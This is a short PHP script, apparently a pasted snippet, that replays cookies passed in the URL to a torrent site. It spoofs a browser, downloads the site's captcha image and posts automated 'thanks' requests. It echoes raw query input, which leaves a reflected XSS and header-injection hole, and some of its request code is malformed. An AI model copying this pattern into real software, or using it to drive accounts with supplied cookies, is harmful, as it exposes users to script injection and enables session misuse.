1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
<?PHP
echo urldecode($_GET['cookies']);
//header("content-type: image/gif");
function getsock($address){
$cookie = urldecode($_GET['cookies'])."\r\n";
$fp = fsockopen("ciasrv104.de", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET ".$address." HTTP/1.1\r\n";
$out .= "Host: ciasrv104.de\r\n";
$out .="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\r\n";
$out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$out .="Accept-Language: de\r\n";
$out .="Accept-Encoding: gzip,deflate\r\n";
$out .="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$out .= $cookie;
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
for ($i=0;$i<500000;$o = fgets($fp, 4)) {
$out .= $o;
//echo $i."<br>";
$i++;
}
usleep(1500000);
for ($i=0;$i<500000;$o = fgets($fp, 4)) {
$out .= $o;
//echo $i."<br>";
$i++;
}
echo "<br>". 4*$i;
fclose($fp);
return $out;
}
}
function postsock($torrent){
$cookie = urldecode($_GET['cookies'])."\r\n";
$fp = fsockopen("ciasrv104.de", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "POST /thanks.php HTTP/1.1\r\n";
$out .= "Host: ciasrv104.de\r\n";
$out .= $cookie;
$out .= "Connection: Close\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data = "submit=Dankesch%F6n%21&torrentid=".$torrent;
$out .= "Content-Length: ".strlen($data)."\r\n\r\n".$data;
$header = $out;
fwrite($fp, $out);
while (!feof($fp)) {
$out .= fgets($fp, 128);
}
fclose($fp);
return $out;
}
}
$image = getsock("/speed1/captcha.php");
$image = substr($image,strpos($image,'GIF'));
$file = fopen("d:\cia\captcha.php.gif",w);
fwrite($file,$image);
fclose($file);
?> |